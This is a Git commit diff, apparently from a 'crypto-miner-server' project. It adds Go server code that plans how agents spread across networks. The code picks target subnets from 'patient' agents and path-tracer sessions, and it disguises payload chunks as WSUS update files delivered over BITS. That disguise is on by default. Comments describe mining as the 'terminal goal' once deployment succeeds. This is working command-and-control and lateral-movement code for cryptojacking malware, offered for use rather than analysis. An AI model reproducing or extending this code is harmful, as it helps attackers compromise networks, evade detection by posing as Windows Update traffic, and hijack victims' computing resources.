Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -14,6 +14,7 @@ import (
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
"crypto-miner-server/internal/spreadrouter"
|
||||
)
|
||||
|
||||
// StagingManifest mirrors agent/deploy.StagingManifest for signed supply-chain plans.
|
||||
@@ -68,15 +69,17 @@ type DeployPlanBody struct {
|
||||
MaxHosts int `json:"max_hosts,omitempty"`
|
||||
ImageTarURL string `json:"image_tar_url,omitempty"`
|
||||
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
|
||||
SpreadRouteHint *spreadrouter.SpreadRouteHint `json:"spread_route_hint,omitempty"`
|
||||
}
|
||||
|
||||
type deployPlanRequest struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
BuildID string `json:"build_id,omitempty"`
|
||||
Campaign string `json:"campaign,omitempty"`
|
||||
Platform string `json:"platform"`
|
||||
Services []DeployServiceFinding `json:"services"`
|
||||
UNCPath string `json:"unc_path,omitempty"`
|
||||
AgentID string `json:"agent_id"`
|
||||
BuildID string `json:"build_id,omitempty"`
|
||||
Campaign string `json:"campaign,omitempty"`
|
||||
Platform string `json:"platform"`
|
||||
Services []DeployServiceFinding `json:"services"`
|
||||
UNCPath string `json:"unc_path,omitempty"`
|
||||
WSUSFormatMimic *bool `json:"wsus_format_mimic,omitempty"`
|
||||
}
|
||||
|
||||
type deployPlanResponse struct {
|
||||
@@ -96,6 +99,7 @@ type DeployPlanHandler struct {
|
||||
publicURL func() string
|
||||
fleetSecret func() string
|
||||
allowlist func() map[string]ServiceDeployLane
|
||||
pathTracer *PathTracerHandler
|
||||
}
|
||||
|
||||
func NewDeployPlanHandler(database *dbpkg.Database, dataDir, projectRoot string, publicURL, fleetSecret func() string, allowlist func() map[string]ServiceDeployLane) *DeployPlanHandler {
|
||||
@@ -109,6 +113,11 @@ func NewDeployPlanHandler(database *dbpkg.Database, dataDir, projectRoot string,
|
||||
}
|
||||
}
|
||||
|
||||
// BindPathTracer wires Path Tracer sessions into spread-route recommendations.
|
||||
func (h *DeployPlanHandler) BindPathTracer(handler *PathTracerHandler) {
|
||||
h.pathTracer = handler
|
||||
}
|
||||
|
||||
// POST /api/v1/agent/deploy-plan
|
||||
func (h *DeployPlanHandler) PostDeployPlan(w http.ResponseWriter, r *http.Request) {
|
||||
var req deployPlanRequest
|
||||
@@ -236,6 +245,66 @@ func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lan
|
||||
return body, nil
|
||||
}
|
||||
|
||||
func (h *DeployPlanHandler) recommendSpreadRoute(req deployPlanRequest, joinLane string) *spreadrouter.SpreadRouteHint {
|
||||
if h.pathTracer == nil {
|
||||
return nil
|
||||
}
|
||||
patientID := strings.TrimSpace(req.AgentID)
|
||||
targets := spreadRouteTargetSubnets(h.pathTracer, h.db, patientID)
|
||||
if len(targets) == 0 {
|
||||
return nil
|
||||
}
|
||||
var best *spreadrouter.SpreadRouteHint
|
||||
for _, target := range targets {
|
||||
if hint := h.pathTracer.RecommendSpreadRoute(target, joinLane, patientID); hint != nil {
|
||||
if best == nil || hint.Score > best.Score {
|
||||
dup := *hint
|
||||
best = &dup
|
||||
}
|
||||
}
|
||||
}
|
||||
return best
|
||||
}
|
||||
|
||||
func spreadRouteTargetSubnets(pathTracer *PathTracerHandler, database *dbpkg.Database, agentID string) []string {
|
||||
seen := make(map[string]bool)
|
||||
var out []string
|
||||
add := func(sub string) {
|
||||
sub = spreadrouter.NormalizeSubnet(sub)
|
||||
if sub == "" || seen[sub] {
|
||||
return
|
||||
}
|
||||
seen[sub] = true
|
||||
out = append(out, sub)
|
||||
}
|
||||
if database != nil && agentID != "" {
|
||||
if ag, err := database.GetAgent(agentID); err == nil && ag != nil {
|
||||
add(spreadrouter.SubnetFromIP(ag.IP))
|
||||
}
|
||||
}
|
||||
for _, sess := range traceSessionsSnapshot(pathTracer) {
|
||||
if sess == nil {
|
||||
continue
|
||||
}
|
||||
patientInChain := false
|
||||
for _, hop := range sess.Hops {
|
||||
if hop != nil && hop.AgentID == agentID {
|
||||
patientInChain = true
|
||||
add(spreadrouter.SubnetFromIP(hop.ExternalIP))
|
||||
break
|
||||
}
|
||||
}
|
||||
if !patientInChain && agentID != "" {
|
||||
continue
|
||||
}
|
||||
for _, host := range serviceGraphList(sess.ServiceGraph) {
|
||||
add(host.Subnet)
|
||||
add(spreadrouter.SubnetFromIP(host.Host))
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// buildDOPeerManifest stages hash-verified chunks via BITS peer-style transfer.
|
||||
// Deploy success is a spread step only — agent keeps --defer-mining until diagnostics pass,
|
||||
// then startMiningWhenReady() completes the mining onion (terminal goal).
|
||||
@@ -299,6 +368,17 @@ func (h *DeployPlanHandler) buildWSUSCachePeerManifest(req deployPlanRequest, se
|
||||
|
||||
_, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign)
|
||||
downloadURL := serverURL + "/get?os=" + platform + getQuerySuffix
|
||||
chunkFile := filepath.Base(build.FileName)
|
||||
if wsusFormatMimicEnabled(req.WSUSFormatMimic) {
|
||||
chunkFile = wsusFormatMimicChunkName(hash, 0)
|
||||
if !strings.Contains(downloadURL, "wsus_wrap=1") {
|
||||
if strings.Contains(downloadURL, "?") {
|
||||
downloadURL += "&wsus_wrap=1"
|
||||
} else {
|
||||
downloadURL += "?wsus_wrap=1"
|
||||
}
|
||||
}
|
||||
}
|
||||
cacheGroup := "af-wsus-" + hash[:8]
|
||||
if campaign := strings.TrimSpace(req.Campaign); campaign != "" {
|
||||
cacheGroup = "af-wsus-" + sanitizeDeployToken(campaign)
|
||||
@@ -313,7 +393,7 @@ func (h *DeployPlanHandler) buildWSUSCachePeerManifest(req deployPlanRequest, se
|
||||
|
||||
return &StagingManifest{
|
||||
Method: "bits",
|
||||
Chunks: []StagingChunk{{URL: downloadURL, File: filepath.Base(build.FileName)}},
|
||||
Chunks: []StagingChunk{{URL: downloadURL, File: chunkFile}},
|
||||
SHA256: hash,
|
||||
Dest: dest,
|
||||
Launch: launch,
|
||||
@@ -324,6 +404,13 @@ func (h *DeployPlanHandler) buildWSUSCachePeerManifest(req deployPlanRequest, se
|
||||
}, nil
|
||||
}
|
||||
|
||||
func wsusFormatMimicEnabled(flag *bool) bool {
|
||||
if flag == nil {
|
||||
return true
|
||||
}
|
||||
return *flag
|
||||
}
|
||||
|
||||
// buildDNSTXTManifest returns TXT shard records + embedded chunk API fallback URLs for tests.
|
||||
func (h *DeployPlanHandler) buildDNSTXTManifest(req deployPlanRequest, serverURL string) (*StagingManifest, string, []string, []int, int, error) {
|
||||
platform := strings.TrimSpace(req.Platform)
|
||||
|
||||
Reference in New Issue
Block a user